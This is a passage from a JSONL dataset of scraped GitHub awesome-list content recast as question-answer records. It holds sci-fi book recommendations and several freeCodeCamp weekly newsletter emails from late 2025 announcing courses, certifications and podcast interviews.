1/7 of an inch per day. A few weeks lat", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712753"}
{"id": "gh_b5946dcede65", "question": "How to: Time Travel", "question_body": "About sindresorhus/awesome-scifi", "answer": "#### [Behold the Man](https://www.goodreads.com/book/show/60146.Behold_the_Man) (1969) _by [Michael Moorcock](https://en.wikipedia.org/wiki/Michael_Moorcock)_ [3.8]\n\nEasily one of the most disrespectful, sacrilegious, memorable and funny books I have read. - [@RichardLitt](https://github.com/RichardLitt)\nDescription\n> Karl Glogauer is a disaffected modern professional casting about for meaning in a series of half-hearted relationships, a dead-end job, and a personal struggle. His questions of faith surrounding his father’s run-of-the-mill Christianity and his mother’s suppressed Judaism lead him to a bizarre obsession with the idea of the messiah. After the collapse of his latest affair and his introduction to a reclusive physics professor, Karl is given the opportunity to confront his obsession and take a journey that no man has taken before, and from which he knows he cannot return.\n  >\n  > Upon arriving in Palestine, A.D. 29, Glogauer finds that Jesus Christ is not the man that history and faith would like to believe, but that there is an opportunity for someone to change the course of history by making the ultimate sacrifice.\n  >\n  > First published in 1969, _Behold the Man_ broke through science fiction’s genre boundaries to create a poignant reflection on faith, disillusion and self-sacrifice. This is the classic novel that established the career of perhaps contemporary science fiction’s most cerebral and innovative author.\n#### [Future Times Three](https://www.goodreads.com/book/show/2509242.Future_Times_Three) (1968) _by [René Barjavel](https://en.wikipedia.org/wiki/Ren%C3%A9_Barjavel)_ [3.8]\n\nA really good story about time travels, their consequences and the famous [Grandfather paradox](https://en.wikipedia.org/wiki/Grandfather_paradox). - [@Gibet](https://github.com/Gibet)\nDescription\n> Here is a fantastic journey that takes you from the past into the near-future—then to the year 300,000 A.D. into a world where a single female creature, the size of a mountain, gives birth to all of society!\n#### [The Dancers at the End of Time](https://www.goodreads.com/book/show/60147.The_Dancers_at_the_End_of_Time) (1977) _by [Michael Moorcock](https://en.wikipedia.org/wiki/Michael_Moorcock)_ [4.0]\n\nI liked this series so much I got a tattoo partially inspired by it. - [@RichardLitt](https://github.com/RichardLitt)\nDescription\n> _The Dancers at the End of Time_ is a series of science fiction novels and short stories, the setting of which is the End of Time, an era “where entropy is king and the universe has begun collapsing upon itself.” The inhabitants of this era are immortal decadents, who create flights of fancy using power rings which draw on energy devised and stored by their ancestors millions of years prior. Time travel is possible, and throughout the series various points in time are visited and revisited. Space travellers are also common, but most residents of the End of Time find leaving the planet distasteful and clichéd.\n#### [The Door Into Summer](https://www.goodreads.com/book/show/348.The_Door_Into_Summer) (1957) _by [Robert A. Heinlein](https://en.wikipedia.org/wiki/Robert_A._Heinlein)_ [4.0]\nDescription\n> It is 1970, and electronics engineer Dan Davis has finally made the invention of a lifetime: a household robot with extraordinary abilities, destined to dramatically change the landscape of everyday routine. Then, with wild success just within reach, Dan’s greedy partner and even greedier fiancée steal his work and leave him penniless, and trick him into taking the long sleep—suspended animation for thirty years.\n  >\n  > They never imagine that the future time in which Dan awakens has a very limited form of time travel, just enough that Davis can travel back and recover his research. He then again undergoes suspended animation, and awakens again in the high-tech future of the year 2000, with his reputation, fortune, and his sweetheart.\n#### [The Eyre Affair](https://www.goodreads.com/book/show/27003.The_Eyre_Affair) (2001) _by [Jasper Fforde](https://www.goodreads.com/author/show/4432.Jasper_Fforde)_ [3.9]\n\nThis novel is absurd fun -- think Douglas Adams style with a literary flair. Though flawed, the later novels in the series are in my reading pile. - [@neontapir](https://github.com/neontapir)\nDescription\n> Great Britain circa 1985: time travel is routine, cloning is a reality (dodos are the resurrected pet of choice), and literature is taken very, very seriously. Acheron Hades, Third Most Wanted Man In the World, steals the original manuscript of Martin Chuzzlewit and kills a minor character, who then disappears from every volume of the novel ever printed! Hades' real target is the beloved Jane Eyre, and it's not long before he plucks her from the pages of Bronte's novel.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712798"}
{"id": "gh_97a6d661115b", "question": "How to: Short Story Collections", "question_body": "About sindresorhus/awesome-scifi", "answer": "#### [Axiomatic](https://www.goodreads.com/book/show/156783.Axiomatic) (1995) _by [Greg Egan](https://en.wikipedia.org/wiki/Greg_Egan)_ [4.2]\n\nHard-as-nails science fiction, but wonderfully fresh and imaginative (especially if you haven't had a chance to read anything written by Greg Egan before.) The stories have aged surprisingly well — which only underlines Egan’s penchant for sounding out the shape of the future. - [@mihailim](https://github.com/mihailim)\nDescription\n> _Axiomatic_ is a collection of Greg Egan’s short stories that appeared in various science fiction magazines (mostly _Interzone_ and _Asimov’s_) between 1989 and 1992. Like most of Egan’s work, the stories focus on science and ideas, sometimes at the expense of the writing. But although Egan may lack a certain stylistic flair, he more than makes up for it with his wonderful visions of the future. Some of the more interesting stories include _Into Darkness_, the tale of a rescue worker whose territory is a runaway wormhole, and the title story _Axiomatic_, which is about a man looking to find meaning in the senseless death of his wife.\n  \n  > Contents: _The Infinite Assassin_ (1991), _The Hundred Light-Year Diary_ (1992), _Eugene_ (1990), _The Caress_ (1990), _Blood Sisters_ (1991), _Axiomatic_ (1990), _The Safe-Deposit Box_ (1990), _Seeing_ (1995), _A Kidnapping_ (1995), _Learning to Be Me_ (1990), _The Moat_ (1991), _The Walk_ (1992), _The Cutie_ (1989), _Into Darkness_ (1992), _Appropriate Love_ (1991), _The Moral Virologist_ (1990), _Closer_ (1992), _Unstable Orbits in the Space of Lies_ (1992)\n#### [City](https://www.goodreads.com/book/show/222093.City) (1952) _by [Clifford D. Simak](https://en.wikipedia.org/wiki/Clifford_D._Simak)_ [4.1]\n\nYou will never think about ants the same way again. - [@uraimo](https://github.com/uraimo)\nDescription\n> Simak's \"City\" is a series of connected stories, a series of legends, myths, and campfire stories told by Dogs about the end of human civilization, centering on the Webster family, who, among their other accomplishments, designed the ships that took Men to the stars and gave Dogs the gift of speech and robots to be their hands.\n#### [I, Robot](https://www.goodreads.com/book/show/41804.I_Robot) (1950) _by [Isaac Asimov](https://en.wikipedia.org/wiki/Isaac_Asimov)_ [4.1] 🌟 🔥\nDescription\n> The three laws of Robotics:\n  >\n  > 1. A robot may not injure a human being or, through inaction, allow a human being to come to harm.\n  >\n  > 2. A robot must obey orders given to it by human beings except where such orders would conflict with the First Law.\n  >\n  > 3. A robot must protect its own existence as long as such protection does not conflict with the First or Second Law.\n  >\n  > With these three, simple directives, Isaac Asimov changed our perception of robots forever when he formulated the laws governing their behavior. In _I, Robot_, Asimov chronicles the development of the robot through a series of interlinked stories: from its primitive origins in the present to its ultimate perfection in the not-so-distant future—a future in which humanity itself may be rendered obsolete.\n  >\n  > Here are stories of robots gone mad, of mind-read robots, and robots with a sense of humor. Of robot politicians, and robots who secretly run the world—all told with the dramatic blend of science fact and science fiction that has become Asimov’s trademark.\n#### [Manhattan in Reverse](https://www.goodreads.com/book/show/10710770-manhattan-in-reverse) (2011) _by [Peter F. Hamilton](https://en.wikipedia.org/wiki/Peter_F._Hamilton)_ [3.9]\nDescription\n> This is a collection of short stories from the master of space opera. Peter F. Hamilton takes us on a journey from a murder mystery in an alternative Oxford in the 1800s to a story featuring Paula Mayo, deputy director of the Intersolar Commonwealth’s Serious Crimes Directorate.\n  \n  > Contents: _Watching Trees Grow_ (2000), _Footvote_ (2004), _If at First…_ (2007), _The Forever Kitten_ (2005), _Blessed by an Angel_ (2007), _The Demon Trap_ (2008), _Manhattan in Reverse_ (2011)\n#### [Of Time and Stars](https://www.goodreads.com/book/show/21798296-of-time-and-stars) (1972) _by [Arthur C. Clarke](https://en.wikipedia.org/wiki/Arthur_C._Clarke)_ [4.1]\n\nI can't praise this book enough. _The Nine Billion Names of God_ is brilliantly done; well written, executed, and frisson-inducing. _If I Forget Thee, Oh Earth_ is also a stark reminder that we only have one planet. One of the most memorable Science Fiction stories I have ever read. - [@RichardLitt](https://github.com/RichardLitt)\nDescription\n> _Of Time and Stars_ is a collection of short stories by science fiction writer Arthur C. Clarke. The stories all originally appeared in a number of different publications incl", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.712873"}
{"id": "gh_977405549ccc", "question": "How to: Comic Books", "question_body": "About sindresorhus/awesome-scifi", "answer": "#### [Alex + Ada](https://www.goodreads.com/book/show/30896668-alex-ada) (2013-2015) _by [Jonathan Luna](https://en.wikipedia.org/wiki/Luna_Brothers), [Sarah Vaughn](https://www.goodreads.com/author/show/7372180.Sarah_Vaughn)_ [4.11]\n\nCategories: `ai` `drama` `sci-fi`\n\nAlex + Ada is a thought provoking and moving exploration of what it means to be alive, and what rights can and should be afforded to non-human sentient beings. It's a short and effective near-future look at the obligations we have to both each other and to the intelligent life we create. - [@thejessleigh](https://github.com/thejessleigh)\nDescription\n> From JONATHAN LUNA (THE SWORD, GIRLS, Spider-Woman: Origin) and SARAH VAUGHN (Sparkshooter, Ruined) comes ALEX + ADA, a sci-fi/drama set in the near future. The last thing in the world Alex wanted was an X5, the latest in realistic androids. But after Ada is dropped into his life, he discovers she is more than just a robot. Alex takes a huge risk to unlock Ada so she can think for herself and explore life as a sentient android.\n#### [Arzach](https://www.goodreads.com/book/show/8748185-arzach) (1975) _by Moebius_ [4.06]\n\nCategories: `hard-science-fiction` `sci-fi` `cyberpunk`\n\nOne of the most influential french sci-fi comics. It inspired a lot of what became Heavy Metal Magazine. Moebius in this onirical tale uses no words to this graphical prose. - [@matheusteixeira](https://github.com/matheusteixeira)\nDescription\n> Arzach fut une révolution pour la bande dessinée de l'époque. Elle est constituée d'une série de cinq histoires autonomes, sortes de « nouvelles graphiques » de quelques planches chacune. Sa particularité réside tout d'abord en son absence totale de dialogues : on y croise un voire deux personnages récurrents (Arzach et son Ptéroïde, sorte de ptérodactyle) mais apparemment muets, en tout cas l'auteur ne leur autorise pas la parole pour s'exprimer.\n#### [Black Science](https://www.goodreads.com/book/show/20881139-black-science-vol-1) (2014) _by [Rick Remender](https://en.wikipedia.org/wiki/Rick_Remender)_ [3.93]\n\nCategories: `space-opera` `sci-fi`\n\nBlack Science is one of those stories where you explain it to people at a really high level and gradually get more excited as you do so. It's essentially what happens if Rick & Morty had a less skilled and lucky Rick. Grant McKay goes through some really dark experiences, and the multiverse around him feels nothing for his plight. It's a story to read and revisit. - [@EricPonvelle](https://github.com/EricPonvelle)\nDescription\n> Grant McKay, former member of The Anarchistic Order of Scientists, has finally done the impossible: He has deciphered Black Science and punched through the barriers of reality. But what lies beyond the veil is not epiphany, but chaos. Now Grant and his team are lost, living ghosts shipwrecked on an infinite ocean of alien worlds, barreling through the long-forgotten, ancient, and unimaginable dark realms. The only way is forward. The only question is how far are they willing to go, and how much can they endure, to get home again? Join writer RICK REMENDER and the superstar art team of MATTEO SCALERA & DEAN WHITE for this face-melting science fiction epic spanning the lifetimes of a cast of dimensional castaways lead by the man who caused it all.\n#### [Global Frequency](https://www.goodreads.com/book/show/15819022-global-frequency) (2002-2004) _by Warren Ellis_ [4.05]\n\nCategories: `hard-science-fiction` `sci-fi`\n\nGlobal Frequency is a very livid, strong, and fast-paced adventure/action-packed sci-fi. Each of the twelve issues is kinda independent and all of them are bursting with life. - [@matheusteixeira](https://github.com/matheusteixeira)\nDescription\n> Created by Entertainment Weekly \"It\" writer, Global Frequency is a worldwide rescue organization that offers the last shred of hope when all other options have failed. Manned by 1001 operatives, the Frequency is made up of experts in fields as diverse as bio-weapon engineering and Le Parkour Running. Each agent-equipped with a special mobile vid-phone-is speciffically chosen by Miranda Zero, enigmatic leader of the Global Frequency, based on proximity, expertise, and, in some cases, sheer desperation!\n#### [Saga](https://www.goodreads.com/book/show/17131869-saga-vol-2) (2014-) _by Brian K. Vaughan_ [4.56]\n\nCategories: `fantasy` `sci-fi` `space-opera`\n\nSaga is a comic that is an elevator pitch proof. It's impossible to describe it in a sentence. All I can say is that it's a beautifully written and drawn story about love and family, in a very interesting space opera-like world. It's kinda like Star Wars, but not at all. While in Star Wars the heroes are in a huge journey to end the war, in Saga they just want to be left alone to live with their family. - [@matheusteixeira](https://git", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.713070"}
{"id": "gh_7c37ecf09792", "question": "How to: Audiobooks", "question_body": "About sindresorhus/awesome-scifi", "answer": "Some books are also exceptional as audiobooks. Some are not. Here is a space for the former.\n\n#### [The Martian](https://www.audible.com/pd/The-Martian-Audiobook/B082BHJMFF) _by Andy Weir_, narrated by _R.C. Bray_ \n\nI loved this audiobook. I am not sure if this narrator's edition is still publicly available, however. - [@RichardLitt](https://github.com/RichardLitt)\n\nSee the book above for the description.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4759, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome-scifi", "collected_at": "2026-01-17T12:56:21.713081"}
{"id": "gh_4ac72410b864", "question": "How to: December 24, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. 2025 has been an amazing year for the global freeCodeCamp community. And we’re thrilled to cap it off with the launch of several Christmas gifts for you. We just launched Version 10 of freeCodeCamp's JavaScript certification, along with updated Python, SQL, and Responsive Web Design certifications that you can earn. We even launched our beta Spanish and Mandarin Chinese curricula. (10 minute announcement article with tons of data): https://www.freecodecamp.org/news/christmas-gifts-freecodecamp-community-2025\n\n2. On this week's freeCodeCamp podcast I interview the son of an Indian textile worker who's now been working as a dev for 16 years. Santosh Yadav has managed to climb the ladder at Indian and European tech companies without needing to become a manager himself. He shares practical tips for devs who don't want to become managers, but do want to continue to ascend. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-get-promoted-as-a-dev-without-becoming-a-manager-staff-engineer-santosh-yadav-interview-podcast-202/\n\n3. And now for some advanced learning resources to tide you over the holiday break. First, learn eBPF Tracing for when you're debugging Kubernetes apps, but your logs are failing you. (full-length handbook): https://www.freecodecamp.org/news/how-to-debug-kubernetes-apps-when-logs-fail-you-an-ebpf-tracing-handbook/\n\n4. Second, learn how to perform secure hashing using Python's hashlib module. This is helpful for storing sensitive information, verifying file integrity, and other cybersecurity purposes. (10 minute read): https://www.freecodecamp.org/news/how-to-perform-secure-hashing-using-pythons-hashlib-module/\n\n5. Third, learn how to build your own Log-Structured Merge Tree from scratch as a new way to store data in your apps. These work by “appending new data to the existing data, instead of looking for something that exists and updating it. In other words, you don't have to spend any CPU cycles thinking about where to store data. You just append it at the end.” (full-length handbook): https://www.freecodecamp.org/news/build-an-lsm-tree-storage-engine-from-scratch-handbook/\n\nQuote of the Week:\n*“The day you stop waiting for your manager to tell you what’s broken, and you start fixing the things everyone else is ignoring, is the day you start moving up.”* — Software Developer Santosh Yadav on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739397"}
{"id": "gh_315038ba00de", "question": "How to: December 19, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. I'm thrilled to announce that freeCodeCamp just launched our new Python certification curriculum. You can learn Python by building projects right in your browser. You'll learn a ton of fundamental programming concepts through our extensive theory sections. Then you'll apply that theory and get lots of reps with Python syntax by building projects. You can sit for the final exam and earn a certification that you can add to your LinkedIn or portfolio website. This is just one of the six certs in Version 10 of freeCodeCamp's Full Stack Developer Curriculum. This Python module is years in the making, and I think you're going to learn a lot from it. (comprehensive interactive curriculum): https://www.freecodecamp.org/news/freecodecamps-new-python-certification-is-now-live/\n\n2. Learn game development fundamentals by building your own 2D pixel art tower defense game. You'll use the popular Unity game development framework. You can code along at home and learn how to set up 2D tilemap levels, animate pixel-art characters, build towers, and spawn enemy waves. Then you'll learn how to export your game to be playable on Windows, Android, and in a web browser. (10 hour YouTube course): https://www.freecodecamp.org/news/create-a-2d-pixel-art-game-in-unity/\n\n3. On this week's podcast I interview Jason Lengstorf, a college dropout who taught himself programming while building websites for his emo band. 22 years later, he's worked as a developer at IBM, Netlify, and run his own dev consultancy. He shares his observation that many CEOs over-estimated the impact of AI coding tools and laid off too many developers. He says the developer job market has already rebounded a bit, but will never be the same. He shares tons of tips for how to land roles in the post-LLM labor market. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/the-ai-is-going-to-replace-devs-hype-is-over-22-year-developer-veteran-jason-lengstorf-podcast-201/\n\n4. Learn modern web development techniques by building your own sales dashboard app using React, JavaScript, and Supabase. You'll start by architecting your database schema. Then you'll set up session management. Finally, you'll implement real-time data operations. By the end of the course, you'll have a dashboard app you can show off to your friends. (5 hour YouTube course): https://www.freecodecamp.org/news/supabase-for-beginners/\n\n5. Now you can learn Spanish on freeCodeCamp. We just launched our Spanish curriculum today, which we've been working on all year. You'll learn proper Spanish pronunciation, greetings, introductions, numbers, and more. You'll also learn how to type Spanish characters like this one ñ on your phone and computer. We already have more than 200 steps live, with the rest of the CEFR A1 level going live in 2026. ¡Aprendamos! (fully interactive curriculum): https://www.freecodecamp.org/news/freecodecamps-a1-professional-spanish-curriculum-beta-is-now-live/\n\nQuote of the Week:\n*“The promise was that AI was going to replace developers. We’re seeing pretty clearly that’s not the case. Anything beyond a toy, anything that requires maintenance or significant feature development, you can’t vibe-code that. The strongest developers in the future are the ones who have the right skills to leverage AI effectively.”* — Software Engineer Jason Lengstorf on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739420"}
{"id": "gh_0c7ff7898557", "question": "How to: December 12, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just launched our new JavaScript Data Structures and Algorithms Certification. You can now take the final exam and earn this verified cert, then add it to your LinkedIn, CV, or personal website. This is version 10 of the core freeCodeCamp curriculum. The community collectively spent thousands of hours developing all this to serve as your shortest path to acquiring programming fundamentals. (300 hour interactive curriculum – announcement article and FAQ): https://www.freecodecamp.org/news/freecodecamps-new-javascript-certification-is-now-live/\n\n2. freeCodeCamp also published a project-oriented course on building your own AI agents using the n8n framework. You'll learn about vector databases, Retrieval-Augmented Generation, multi-workflow builds, and more. You can code along at home, and by the end of the course you'll have a variety of agentic projects you can show off to your friends. (4 hour course): https://www.freecodecamp.org/news/learn-n8n-to-design-develop-and-deploy-production-grade-ai-agents/\n\n3. On this week's podcast I interview Kunal Kushwaha. He's a software engineer and prolific computer science teacher on YouTube. After years of preparation, he failed India's Engineering Entrance Exam not once but twice. But he persevered. He built his own learning path by contributing code to open source projects. In his short career as a developer, he's worked at small startups as well as at a big UK cloud provider as their field CTO. He shares tons of tips for learning new skills, being productive while working remotely, and his thoughts on the Indian higher education system. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-build-your-own-learning-path-using-open-source-with-kunal-kushwaha-podcast-200/\n\n4. Tell your friends who are learning English: freeCodeCamp just launched our English for Developers curriculum. You can learn vocab, grammar, reading, and listening – all through stories set in a Silicon Valley tech company. This is level A2 English, meaning it's lower intermediate. We'll introduce other CEFR levels in the coming months as well. (interactive curriculum with certification – announcement article and FAQ): https://www.freecodecamp.org/news/freecodecamps-a2-english-for-developers-certification-is-now-live/\n\n5. freeCodeCamp also published an advanced Python course that will teach you about sequence models and Neural Machine Translation. You'll learn about historical breakthroughs, architectural innovations, and mathematical insights as you reproduce the findings of 7 landmark AI papers using the PyTorch machine learning library. (7 hour YouTube course): https://www.freecodecamp.org/news/building-nmt-from-scratch-pytorch-replications-of-7-landmark-papers/\n\nQuote of the Week:\n*“Open source saved my career. It gave me credibility, proof of work, skills, projects to showcase, and a network.”* — Software Engineer Kunal Kushwaha on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739432"}
{"id": "gh_e134fcbb4eec", "question": "How to: December 5, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a Git and GitHub for beginners course. Git is a powerful version control tool that most developers now use to build software projects together. GitHub is a popular platform that adds tons of collaboration features on top of Git. You'll learn the basics of both in this course, which covers branching, merging, pull requests, and other key concepts. Well worth your time. (1 hour YouTube course): https://www.freecodecamp.org/news/git-and-github-crash-course-for-beginners\n\n2. freeCodeCamp also just launched our new Responsive Web Design Certification. You can now take the final exam and earn this verified cert, then add it to your LinkedIn, CV, or personal website. This is version 10 of the core fCC curriculum. The community collectively spent thousands of hours developing all this as your shortest path to front-end development skills. This announcement and comprehensive FAQ will help you figure out where this fits into your journey toward your learning goals. (100+ hour interactive curriculum): https://www.freecodecamp.org/news/freecodecamps-new-responsive-web-design-certification-is-now-live/\n\n3. On this week's freeCodeCamp podcast I interview Andrea Griffiths, who taught herself programming using freeCodeCamp while working in construction. She moved to the US from Colombia when she was 17, and within 6 months she joined the US Army. She ran a chain of gyms before landing a support role at a tech company, then ascended to Product Manager and ultimately Developer Advocate at GitHub. She shares tips for busy parents who want to learn new skills, and how to stay focused in an increasingly distracting world. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/tips-from-serial-career-changer-github-andrea-griffiths-podcast-199/\n\n4. freeCodeCamp also just published a new Harvard CS50 course that will teach you R, a popular programming language for statistical computing and data science. You'll work with real-world datasets inside the RStudio Integrated Development Environment. You'll learn about Vectors, Matrices, Data Frames, filtering, visualizations, and more. (9 hour YouTube course): https://www.freecodecamp.org/news/learn-r-programming-from-harvard-university/\n\n5. It is with great pride that I announce our Top Open Source Contributors of 2025. It's been a super productive year for the global freeCodeCamp community. As we start our 12th year as a community, we’re firing on all cylinders, pushing forward more steadily than ever toward a future of open source education. (5 minute read): https://www.freecodecamp.org/news/freecodecamp-top-open-source-contributors-2025/\n\nQuote of the Week:\n*“Take a moment to stop and think about what it is that truly matters to you. And then start making the changes that you need to make.”* — Andrea Griffiths on this week's freeCodeCamp podcast talking about her decision to learn programming and launch into an entirely new career", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739445"}
{"id": "gh_111864159238", "question": "How to: November 26, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Before modern Large Language Models, scientists and developers worked with more fundamental Natural Language Processing tools. freeCodeCamp just published a handbook that will help you understand the tools that power chatbots, machine translation, text summarization, and more. You'll learn how computers analyze syntax, model semantics, and interpret context. Then you'll use popular Python libraries to apply those concepts to real projects. (full length handbook): https://www.freecodecamp.org/news/how-to-use-nlp-techniques-and-tools-in-your-projects-full-handbook/\n\n2. freeCodeCamp also published a handbook that will give you a nuanced understanding of one of the trickier aspects of JavaScript development: Closures. First you'll learn about functions, parameters, and lexical scope. Then you'll learn how a Closure \"closes over\" a variable to keep it safe, while still granting you access to its values through function calls. If this sounds complicated, it is. But fear not – this handbook will give you tons of code examples of Closure mechanics, and teach you when to use them. (full length handbook): https://www.freecodecamp.org/news/how-closures-work-in-javascript-a-handbook-for-developers/\n\n3. On this week's podcast I interview two university students who won a 24-hour hackathon. They built a project that helps people who are losing their vision learn how to read Braille. Alison Co and Cindy Cui talk about how, in the middle of the night, they decided to completely rip out their project's AI component. It made their code run so much faster. They share tips for succeeding at hackathons, and also for landing internships at companies like Shopify. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/when-not-to-use-ai-in-your-hackathon-project-with-mlh-winners-cindy-cui-and-alison-co-podcast-198/\n\n4. Flexbox is a powerful CSS feature that lets you build user interfaces that fit any screen size. If you’ve ever struggled to center something with CSS or tried to make columns line up nicely, well, Flexbox simplifies this dramatically. freeCodeCamp just published a Flexbox for beginners course where you'll learn both the concepts and the code syntax while building a responsive website navigation bar. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-css-flexbox-for-beginners-free-2-hour-course\n\n5. When you're working with Large Language Models, every additional token adds cost and latency. Microsoft just open-sourced a tool called LLMLingua that will compress your prompts and other context window data. freeCodeCamp published this tutorial to help you understand how this works and how you can add it to your Python projects. (10 minute read): https://www.freecodecamp.org/news/how-to-compress-your-prompts-and-reduce-llm-costs/\n\nQuote of the Week:\n*“Care less about school. It took me too long to realize that I should be doing more projects hands-on instead of worrying about trying to get like a 95 on a quiz that was worth 10 percent of my grade.”* — Developer and university student Cindy Cui on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739457"}
{"id": "gh_58bdc9d9a549", "question": "How to: November 21, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this beginner-friendly back-end development course. You'll learn how to build your own web servers and APIs using Node.js, Express, and MongoDB. freeCodeCamp's website and mobile apps are built using these tools, which make up the popular MERN stack. You'll also get some exposure to database architecture, security principles, testing best practices, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/intro-to-backend-web-development-nodejs-express-mongodb/\n\n2. freeCodeCamp also published a comprehensive Blender and Three.js course where you'll build your own 3D portfolio piece: a render of an adorable home office. If you're interested in 3D rendering and computer graphics, this is the course for you. You'll learn key concepts like Quad Topology, Raycasting, OrbitControls, and more. By the end of the course, your 3D model will be live on the web so you can share it with your friends. (9 hour YouTube course): https://www.freecodecamp.org/news/create-a-cute-room-portfolio-with-threejs-blender-javascript/\n\n3. On this week's freeCodeCamp podcast I had the honor of interviewing Harvard CS50 professor David J. Malan. Over the years, freeCodeCamp has published many of his computer science courses, which millions of people have now taken. I was hyped to ask him how he uses emerging LLM tools, and where he thinks the software engineering field is heading. I had a LOT of questions for him and he answered all of them. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/harvard-cs50-prof-david-j-malan-on-why-you-should-learn-programming-slowly-podcast-197/\n\n4. freeCodeCamp also published a handbook on using Docker with Node.js. You'll learn how to set up Docker and Docker Compose. You'll also learn fundamental concepts like Volumes, Images, and Containers. This is an excellent resource for you to read through and code along with. Bookmark it for future reference. (full length handbook): https://www.freecodecamp.org/news/how-to-use-to-docker-with-nodejs-handbook/\n\n5. Level up your JavaScript implementation skills with this new freeCodeCamp course on Clean Code. You'll learn how to detect “code smells” and refactor your JavaScript accordingly. You'll also learn how to use ESLint and Prettier to automate some of the more error-prone aspects of shipping code. (1 hour watch): https://www.freecodecamp.org/news/level-up-your-javascript-detect-smells-and-write-clean-code/\n\nQuote of the Week:\n*“There’s something liberating about realizing that at the end of the day everything reduces to zeros and ones. It’s not magic. And once students see that, they think: OK, I got this.”* — Harvard computer science professor David J. Malan on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739468"}
{"id": "gh_f87e4d4d7a09", "question": "How to: November 14, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a Discrete Mathematics for beginners course. It'll teach you tons of math concepts that are key to modern Machine Learning. You'll learn some Number Theory and Combinatorics, then use Python to explore the Pigeonhole Principle, the Stars and Bars Principle, Stirling Numbers, the Chinese Remainder Theorem, and more. (9 hour YouTube course): https://www.freecodecamp.org/news/learn-discrete-mathematics/\n\n2. We also published this JavaScript course on the open source n8n agentic workflow automation tool. freeCodeCamp instructor Gavin Lon will teach you core concepts like working with loops, trigger nodes, webhooks, and more. You can code along at home and build 4 real-world projects, including a chatbot and an emergency notification app. (3 hour YouTube course): https://www.freecodecamp.org/news/build-complex-workflows-with-n8n-and-master-ai-integration/\n\n3. On this week's podcast I talk with a dev who taught herself programming at age 27. Abbey Perini worked as an admin at a recruitment agency and has a unique perspective on the developer hiring process. She shares practical tips for applying and interviewing. She also shares how she has adapted to her adult ADHD diagnosis, and how she stays focused on shipping code. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/applying-into-the-void-with-recruiter-admin-abbey-perini-podcast-196/\n\n4. Learn the popular Vue.js front end JavaScript framework. You'll learn Vue's core building blocks like components, reactivity, template syntax, dynamic data binding, and asset handling. By the end of the course, you'll have a simple Vue app that you can show to your friends. Also note that I recently interviewed Evan You, the creator of Vue, on the freeCodeCamp podcast. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-vuejs-javascript-framework-course/\n\n5. Learn how to run an open source LLM locally on your own hardware using 